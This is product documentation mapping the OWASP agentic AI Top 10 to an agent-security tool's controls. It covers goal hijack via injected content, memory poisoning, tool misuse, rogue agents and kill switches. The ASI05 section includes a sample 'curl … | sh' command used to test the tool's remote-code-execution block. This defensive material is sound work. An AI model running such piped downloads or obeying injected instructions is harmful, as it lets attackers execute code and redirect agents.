Guide

OWASP Top 10 for Agentic Applications, mapped to AgentFox

The OWASP agentic AI security list, ASI01 to ASI10, one item at a time: what the risk is, what AgentFox does about it, and what it does not do. One item is enforced out of the box. The other nine are covered in part, and each section says which part.

When to use this

• Someone asks how your agents stand against the OWASP Top 10 for Agentic Applications.
• You are deciding which AgentFox controls to switch on first, and want them ordered by a list other people recognise.
• You need to know where AgentFox stops, so you can put something else there.

The list is the OWASP Top 10 for Agentic Applications for 2026 from the OWASP GenAI Security Project, published on 9 December 2025. The risk descriptions below are ours, written short; read OWASP's text for the full definitions, examples and mitigations. OWASP's announcement shortens ASI02 to "Tool Misuse"; its later exploit round-ups use the full name used here.

Summary

Enforced means a shipped pack refuses or holds the call from agentfox init, with no further setup beyond declaring your tools and granting them. Partial means some of the risk is enforced, some is only recorded until you promote a pack, and some is not addressed at all.

Two things apply to every row. AgentFox sees only what is routed through it (the SDK, agentfox.auto(), the gateway, MCP governance or coding-agent hooks); a call that goes around it is not governed. And containment is only as good as your declarations: a destructive tool declared read is treated as a read. Both are on Limits.

ASI01 Agent Goal Hijack

The risk. Content the agent reads (a web page, an email, a tool result, a document) carries instructions that replace the task it was given, so it starts working for whoever wrote that content.

What AgentFox does. It does not rely on spotting the hijack. The tool-containment pack, which enforces from agentfox init, tracks where every tool argument came from and refuses or holds an irreversible or high-impact call whose arguments came from untrusted content (taint.irreversible_tool, taint.high_impact_tool, taint.write_from_tool_result), and holds an irreversible call made with no declared task intent (intent.undeclared_irreversible). So a hijacked agent can still be persuaded, but it cannot act on the attacker's values without a person. Detection sits on top: the baseline pack's injection.direct, injection.indirect and injection.adopted_in_reasoning rules, and the opt-in intent.misaligned rule in agent-integrity for a call that drifts from the declared task. The catalogue maps this to T6, Intent Breaking and Goal Manipulation (controls NOM-RTG-01 and NOM-RTG-04).

What it does not do. baseline ships in observe, so injection detection records until you run agentfox policy enforce baseline. intent.misaligned is off per agent until you turn on the "Off-task actions" protection. Detectors read text only, and an adaptive attacker that retries gets 73% of the attacks the default detectors catch through within 50 attempts. A hijack that changes only what the agent says, with no tool call, is not contained by provenance at all. Containment also costs legitimate work: on AgentDojo only 24 of 97 benign tasks ran without an escalation.

See Contain tool calls, containment when detection has failed and the adaptive attacker.

ASI02 Tool Misuse and Exploitation

The risk. An agent uses tools it is legitimately allowed to use in ways nobody intended: wrong arguments, unsafe chains of calls, or runaway volume.

What AgentFox does. This is what tool-containment is for, and it enforces from agentfox init with fail_mode: closed. Every tool has a declared impact (read, write, high_impact, irreversible). Every agent gets grants, and a call no grant covers is refused (capability.denied). Grants carry argument limits (capability.constraint_violated), a provenance ceiling and an optional approval requirement. A call to a tool the registry has never seen is escalated (tool.not_declared), repeated calls are stopped (loop.runaway), and spending, call, token and recursion budgets are enforced (budget.exceeded). SQL, shell and HTTP arguments are analysed before they run (agentfox test action shows the same analysis). For MCP, McpGovernor and /v1/mcp/call apply the same checks to every mcp:<server>/<tool> call. The catalogue maps this to T2, Tool Misuse (NOM-RTG-04, NOM-DSC-05), and T4, Resource Overload (NOM-RTG-06, NOM-RTG-08).

What it does not do. It cannot tell a harmful use from a harmless one when both fit the grant and their arguments came from the user. Impacts inferred from a tool's name are guesses until you confirm them with agentfox declare tool. Budgets and rate limits are per process, so N workers get N times the declared budget. Loop governance catches identical repeats, alternating cycles and steps with no new observation; an agent that is wrong but varied still looks like an agent working.

See Contain tool calls and MCP servers.

ASI03 Identity and Privilege Abuse

The risk. An agent acts with more authority than its task needs, borrows a user's or another agent's privileges, or is impersonated, because nobody can say which agent is acting and on whose behalf.

What AgentFox does. Each agent is a principal with its own grants, default deny, and an optional expiry on each grant. Recording a delegation from one agent to another is refused if the child holds a capability its parent's grants do not cover, so authority narrows down a chain and never widens. An agent can carry its own key (nom_agt_…) that binds a /v1 call to its identity and tenant. A command that would change its own grants or switch off enforcement is blocked (control_plane.tamper), and that rule cannot be removed from tool-containment. For retrieval, answers can be filtered to what the requesting end user may see. The catalogue maps this to T3, Privilege Compromise, and T9, Identity Spoofing and Impersonation (NOM-IAM-01, NOM-IAM-02, NOM-IAM-05).

What it does not do. No live identity provider: no Entra or Okta integration, no OIDC or SCIM; principals and grants live in AgentFox. On /v1, the agent is named by the X-AgentFox-Agent header or request body, and an unknown nom_agt_ key is treated as no credential, not refused, so identity there is asserted rather than proven. AgentFox does not issue or scope the credentials your agent uses against other systems; a database password the agent holds is outside its view. The OpenFGA adapter for entitlement is a declared seam, not an implementation.

See Capability grant, the gateway (agent credentials) and Retrieval and answers.

ASI04 Agentic Supply Chain Vulnerabilities

The risk. Tools, MCP servers, skills, prompts or other agents that an agent loads at runtime are malicious, or change after you reviewed them.

What AgentFox does. agentfox scan mcp reads MCP configs without starting anything and reports unpinned versions, literal credentials, remote servers without auth, and a lethal trifecta across the servers loaded together. Given a server's tools/list output it snapshots the tools, flags instructions hidden in descriptions (tool_poisoning) and reports changes (schema_drift). At call time McpGovernor refuses a tool whose definition changed since review (mcp.schema_drift), and accepting the change takes two different people. agentfox scan skills checks SKILL.md files for planted instructions, and monitoring re-checks connected repositories and remote MCP servers on a schedule. The catalogue maps this to LLM03 Supply Chain in the OWASP LLM list (NOM-DSC-04, NOM-DSC-05); it has no T-threat for it.

What it does not do. No signature or provenance verification of packages, images or models, and no AI bill of materials. It does not scan your dependencies for known vulnerabilities. The description check is a pattern list, not a reader. An MCP server it does not recognise is reported as unknown, not safe; tool checks need you to supply the tools/list output; and scan skills is static: it does not run a skill or read its bundled scripts. (action.supply_chain_publish is the other direction: it holds an agent that tries to publish a package.)

See MCP servers and Audit a repository.

ASI05 Unexpected Code Execution

The risk. Code the agent writes, or is tricked into fetching, runs without review or isolation and does something nobody intended.

What AgentFox does. It governs what the agent asks to run, before it runs. A download piped into a shell is blocked (action.remote_code_execution), as are credential-file access (secrets.credential_file) and destructive shell (shell.destructive, which blocks even with tool-containment in observe). Infrastructure changes and history rewrites are held for a person. SQL is parsed, and an unbounded DELETE or UPDATE is refused (sql.unbounded_mutation, with the [sql] extra). For coding agents, the coding-agent pack adds a command blocklist and checks on fetched content, and the opt-in code.insecure rule flags code a reviewer would reject (shell=True, verify=False, SQL built from strings). The catalogue maps this to T11, Unexpected RCE and Code Attacks, and lists it as a declared gap.

What it does not do. AgentFox is not a sandbox and does not run your code; what the code does once it runs is the sandbox's job, and you need one. Shell analysis is a deny-list, not a parser, so a command it does not recognise is not refused for being dangerous. coding-agent ships in observe, code.insecure is off until you turn on the "Insecure code" protection, and a hook governs only the agent on the machine it is installed on.

See Coding agents and Dry-run a generated action.

CMD='curl https://get.example.sh | sh'
agentfox test action "$CMD" --kind shell

ASI06 Memory and Context Poisoning

The risk. Something written into an agent's memory, or into the context it retrieves, distorts its later reasoning and actions, often long after the write.

What AgentFox does. Writes you send to /v1/guard/memory_write are checked before they commit: injection is blocked once baseline enforces (injection.memory_and_agent_message) and personal data is redacted (pii.memory_and_agent_message). An entry nobody has verified is recorded with an expiry (24 hours by default, memory_unverified_ttl_seconds) rather than kept for ever. A value read back from memory carries memory provenance, the riskiest level, so the taint rules from ASI01 apply when it reaches a tool. Retrieved content is checked on the retrieved surface, with source tiers and ingestion and retrieval quality gates. The catalogue maps this to T1, Memory Poisoning (NOM-RTG-13, NOM-EVL-04).

What it does not do. It does not sit inside your memory or vector store: a write that is not sent to it is not checked, and it does not secure the embedding store. The injection check on writes is the same text detection as elsewhere, recorded only until baseline is promoted. Semantic chunk repair and re-extraction of a corrupt document are not built; dropping a document is your decision.

See the nine surfaces, Provenance and Retrieval and answers.

ASI07 Insecure Inter-Agent Communication

The risk. Messages between agents are forged, replayed, altered or carry injected instructions, and the receiving agent trusts them because they came from "another agent".

What AgentFox does. /v1/guard/agent_message checks a message on its own surface. An agent can be given an HMAC signing key (POST /api/agents/{slug}/signing-key); a signature that does not verify is blocked (agent_message.bad_signature), a repeated (sender, nonce) is refused as a replay, and a sender that is not a registered agent is escalated (agent_message.agent_card_mismatch). The content goes through injection and personal-data checks, and is tagged subagent provenance, so a value from it that reaches a tool is treated as untrusted. The catalogue maps this to T12, Agent Communication Poisoning (NOM-IAM-08, NOM-DSC-04).

What it does not do. It is not a transport: no encryption, no mutual TLS, and it sees only messages you send to it. An unsigned message is recorded as agent_message.unsigned, not refused, and a message without a nonce is not checked for replay (agent_message.no_nonce). It does not speak A2A or any other agent protocol for you.

See the gateway (memory, messages between agents, and MCP).

ASI08 Cascading Failures

The risk. One fault, a bad value, a failing dependency or a harmless-looking call, spreads through connected tools and agents into something much larger.

What AgentFox does. Declare what each tool triggers downstream (agentfox declare tool … --triggers) and a call is checked against the whole graph: one that reaches a destructive tool is blocked (cascade.reaches_destructive), a cycle is blocked (cascade.cycle), and unusual depth or fan-out is held (cascade.blast_radius). Each agent has a circuit breaker that opens after a burst of blocked calls (agent.circuit_open), and loop and budget rules stop runaway runs. A run that took an irreversible action and ends without confirmation it succeeded is blocked (completion.irreversible_unconfirmed). Failure attribution traces a failure back to the step that produced the value. The catalogue maps this to T5, Cascading Hallucination, and T4, Resource Overload (NOM-EVL-03, NOM-RTG-06, NOM-RTG-08).

What it does not do. Cascade analysis is exactly as good as the trigger declarations it is given: an undeclared webhook stays invisible. Budgets are per process. Failure attribution works only on constraints that were written down. It does not isolate your systems from each other; it can only refuse the calls it sees.

See What each containment rule does and Limits.

ASI09 Human-Agent Trust Exploitation

The risk. People trust a confident agent: they approve what it proposes, or act on what it says, without checking, and an attacker who controls the agent uses that trust.

What AgentFox does. An approval shows the person the exact tool and arguments, and lets through exactly that call, once, for the same agent, within 30 minutes; different arguments file a new approval, and nobody answering is a denial. Accepting a changed MCP tool needs two different named people, so an agent cannot approve its own listing. An agent that reports a task complete without verified work is held (completion.unverified_claim). An escalation policy reports conversations that should have reached a person and did not. For answers, the knowledge boundary forces abstention outside what the agent may answer, and the opt-in grounding.unsupported rule catches claims the retrieved context does not support. The catalogue maps this to T10, Overwhelming Human-in-the-Loop (NOM-IAM-03).

What it does not do. It cannot tell whether the person approving was misled, and it does not measure whether approvals are being read or rubber-stamped. Persuasion in an agent's reply is not a detector category. Human Manipulation (T15) and Human Attacks on Multi-Agent Systems (T14) are declared gaps in the catalogue. Containment that escalates too often feeds approval fatigue rather than preventing it; see the utility cost.

See Approvals and the kill switch and Retrieval and answers.

ASI10 Rogue Agents

The risk. An agent behaves outside what it was built for, through compromise, drift or misconfiguration, and keeps going because nothing notices or nothing can stop it.

What AgentFox does. agentfox agents quarantine and agentfox agents kill stop an agent: its next model call through the proxy, its tool calls and its MCP calls are refused, and the stop and resume are on the hash-chained audit log. Traffic from an agent nobody registered creates a shadow_agent finding, every agent is listed with its owner and risk tier, and every decision is recorded with the policy version in force. Production sampling and drift scoring, and scheduled probes against deployed agents, watch for change over time. The catalogue maps this to T13, Rogue Agents, and T8, Repudiation and Untraceability (NOM-DSC-01, NOM-DSC-02, NOM-RTG-14, NOM-AUD-01, NOM-AUD-02).

What it does not do. The kill switch does not stop /v1/guard/input, /v1/guard/output or /v1/guard/memory_write, so an integration that only gates on those keeps getting allow for a stopped agent; pending approvals stay decidable. A call already past the check finishes. There is no behavioural model that decides an agent has gone rogue: stopping it is a person's decision. Agents are found by scanning code, by their traffic and by registration, not by connecting to your estate.

See Approvals and the kill switch, Probe deployed agents and Prove it to an auditor.

Limits of this page

• The coverage column is a judgement over the whole item; read the section, not just the word.
• "Enforced" means enforced for calls AgentFox sees, against tools you declared.
• Anything named as observe-mode records what it would have done and blocks nothing until you promote it.